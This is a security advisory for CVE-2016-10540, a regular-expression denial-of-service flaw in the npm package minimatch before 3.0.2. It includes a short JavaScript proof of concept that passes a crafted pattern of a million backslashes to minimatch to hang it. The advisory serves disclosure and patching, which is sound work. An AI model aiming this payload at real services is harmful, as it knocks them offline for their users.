GHSA-hxm2-r34f-qmc5
Regular Expression Denial of Service in minimatch
At a glance
- Published
- Updated
- CVE
- CVE-2016-10540
- CVSS_V3
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.
Affected packages
| Package | Versions |
|---|---|
| npm · minimatch | introduced 0, fixed 3.0.2 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2016-10540 ADVISORY
- https://github.com/advisories/GHSA-hxm2-r34f-qmc5 ADVISORY
- https://www.npmjs.com/advisories/118 WEB
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |